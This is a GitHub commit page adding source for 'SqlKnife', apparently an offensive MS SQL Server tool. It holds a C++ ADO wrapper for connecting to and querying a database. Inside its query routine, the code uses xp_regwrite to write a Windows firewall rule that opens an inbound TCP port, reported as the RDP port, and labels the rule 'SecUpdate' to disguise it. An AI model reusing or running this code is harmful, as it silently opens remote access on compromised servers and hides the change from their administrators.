Skip to content

Commit

Permalink
添加项目文件。
Browse files Browse the repository at this point in the history
  • Loading branch information
testuser authored and testuser committed Aug 1, 2021
1 parent e9d825a commit 179af78
Show file tree
Hide file tree
Showing 11 changed files with 1,618 additions and 0 deletions.
31 changes: 31 additions & 0 deletions SqlKnife.sln
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.31424.327
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SqlKnife", "SqlKnife\SqlKnife.vcxproj", "{8CC16A45-B4B9-4E1B-85F0-5599EF5AB59B}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{8CC16A45-B4B9-4E1B-85F0-5599EF5AB59B}.Debug|x64.ActiveCfg = Debug|x64
{8CC16A45-B4B9-4E1B-85F0-5599EF5AB59B}.Debug|x64.Build.0 = Debug|x64
{8CC16A45-B4B9-4E1B-85F0-5599EF5AB59B}.Debug|x86.ActiveCfg = Debug|Win32
{8CC16A45-B4B9-4E1B-85F0-5599EF5AB59B}.Debug|x86.Build.0 = Debug|Win32
{8CC16A45-B4B9-4E1B-85F0-5599EF5AB59B}.Release|x64.ActiveCfg = Release|x64
{8CC16A45-B4B9-4E1B-85F0-5599EF5AB59B}.Release|x64.Build.0 = Release|x64
{8CC16A45-B4B9-4E1B-85F0-5599EF5AB59B}.Release|x86.ActiveCfg = Release|Win32
{8CC16A45-B4B9-4E1B-85F0-5599EF5AB59B}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {06FE96F5-AA85-40B9-8E16-1AC45F8ADDA4}
EndGlobalSection
EndGlobal
215 changes: 215 additions & 0 deletions SqlKnife/DataSourceHandle.cpp
Original file line number Diff line number Diff line change
@@ -0,0 +1,215 @@
#include "DataSourceHandle.h"

//类外定义,静态对象声明时不分配内存,只有定义才分配
//DataSourceHandle* DataSourceHandle::m_DataSourceHandle = nullptr;

DataSourceHandle::DataSourceHandle(){

HRESULT hr;
hr = CoInitialize(NULL);
if (FAILED(hr))
{
throw "com init faild.\n";
}
hr = m_pConn.CreateInstance(__uuidof(Connection));
if (FAILED(hr))
{
throw "Connection create faild!\n";
}
hr = m_pCommand.CreateInstance(__uuidof(Command));
if (FAILED(hr))
{
throw "Command Create faild!\n";
}
hr = m_pRecordset.CreateInstance(__uuidof(Recordset));
if (FAILED(hr))
{
throw "Recordset Create faild!\n";
}

}
//DataSourceHandle* DataSourceHandle::getInstance()
//{
// return new DataSourceHandle();
//}

bool DataSourceHandle:: basequery(string sql)
{
m_pCommand->ActiveConnection = m_pConn;
try
{
m_pCommand->CommandText = bstr_t(sql.c_str());
m_pCommand->CommandType = adCmdText;
m_pRecordset=m_pCommand->Execute(nullptr, nullptr, adCmdText);

//m_pRecordset->Requery(adCmdUnknown);
m_pRecordset->MoveFirst();

if (m_pRecordset->adoEOF)
{
return false;
}
else {

_bstr_t val;
_variant_t var;
char* result;
while (!(m_pRecordset->adoEOF))
{
//printf("%p", m_pRecordset->GetCollect((long)0));
//可能没必要
/*if (typeid(m_pRecordset->GetCollect((long)0))==typeid(_bstr_t))
{
val = m_pRecordset->GetCollect((long)0);
cout << (char*)val << endl;
m_pRecordset->MoveNext();
}
else if (typeid(m_pRecordset->GetCollect((long)0))==typeid(_variant_t))
{*/

try
{
var = m_pRecordset->GetCollect((long)1);
//加防火墙规则
ostringstream oss;
val = _bstr_t(var);
result = (char*)val;
if (result!=NULL)
{
oss << "EXEC xp_regwrite 'HKEY_LOCAL_MACHINE', 'SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\FirewallRules', '{3A8D3F89-43F9-D3F9-3AF9-33E93F89A38B}', 'REG_SZ', 'v2.10|Action=Allow|Active=TRUE|Dir=In|Protocol=6|LPort=" << result << "|Name=SecUpdate|';";
DataSourceHandle::justquery(oss.str());
cout << "[*]write RDP port to firewall rule." << endl;
}

}
catch (_com_error e)
{
var = m_pRecordset->GetCollect((long)0);
}

//解决不了类型不符的异常了,只能这样了
try
{
val = _bstr_t(var);
}
catch (_com_error e)
{
cout << endl;
m_pRecordset->MoveNext();
continue;
}
result = (char*)val;
cout << result<< endl;
m_pRecordset->MoveNext();
continue;
//}
}

}


}
catch (_com_error e)
{
cout << e.Description() << endl;
return false;
}

return true;
}


void DataSourceHandle::builddsn(string host, string port,string dbname)
{

ostringstream oss;
//oss << "User ID=" << username << ";Password=" << password << ";Data Source=" << host << ";Provider=SQLOLEDB;Initial Catalog=" << dbname;
//oss<< "Provider=SQLOLEDB;Data Source="<<host<<";Initial Catalog="<<dbname<<";User ID="<<username<<";Password="<<password;
oss << "Provider=SQLOLEDB;Data Source=" << host <<","<<port<< ";Initial Catalog=" << dbname;
conndsn = oss.str();
return;
}

bool DataSourceHandle::connect(string username,string password)
{

//if (true){
try
{
m_pConn->CommandTimeout = 8;//超时时间
if (!FAILED(m_pConn->Open(_bstr_t(conndsn.c_str()), _bstr_t(username.c_str()), _bstr_t(password.c_str()), adModeUnknown)))
{
return true;
}
}
catch (_com_error e)
{
cout << e.Description() << endl;
return false;
}




return false;
}

void DataSourceHandle::justquery(string sql)
{
m_pCommand->ActiveConnection = m_pConn;
try
{
m_pCommand->CommandText = bstr_t(sql.c_str());
m_pCommand->CommandType = adCmdText;
m_pCommand->Execute(nullptr, nullptr, adCmdText);

}
catch (_com_error e)
{
cout << e.Description() << endl;
return;
}

return;
}

//void DataSourceHandle::printresult()
//{
//
//
//
// try
// {
// m_pRecordset->Requery(adCmdUnknown);
// m_pRecordset->MoveFirst();
// }
// catch (_com_error e)
// {
// cout << e.Description() << endl;
// return;
// }
//
// if (m_pRecordset->adoEOF)
// {
// return;
// }
// else {
//
// _bstr_t val;
// while (!(m_pRecordset->adoEOF))
// {
// val=m_pRecordset->GetCollect((long)0);
// cout << val.GetBSTR() << endl;
// }
//
// }
//
//
//}

DataSourceHandle::~DataSourceHandle() {

m_pConn->Close();
CoUninitialize();

}
33 changes: 33 additions & 0 deletions SqlKnife/DataSourceHandle.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
#pragma once

#import "c:\Program Files\Common Files\System\ado\msado15.dll" no_namespace rename("EOF","adoEOF") rename("BOF","adoBOF")
#include "stdfax.h"

using namespace std;

class DataSourceHandle
{

public:
//static DataSourceHandle* getInstance();
bool basequery(string sql);
void builddsn(string host, string port, string dbname);
bool connect(string username,string password);
//void printresult();
void justquery(string sql);
DataSourceHandle();
~DataSourceHandle();

private:


string connstr;
string conndsn;
static DataSourceHandle* m_DataSourceHandle;
_ConnectionPtr m_pConn;
_CommandPtr m_pCommand;
_RecordsetPtr m_pRecordset;


};

Loading

0 comments on commit 179af78

Please sign in to comment.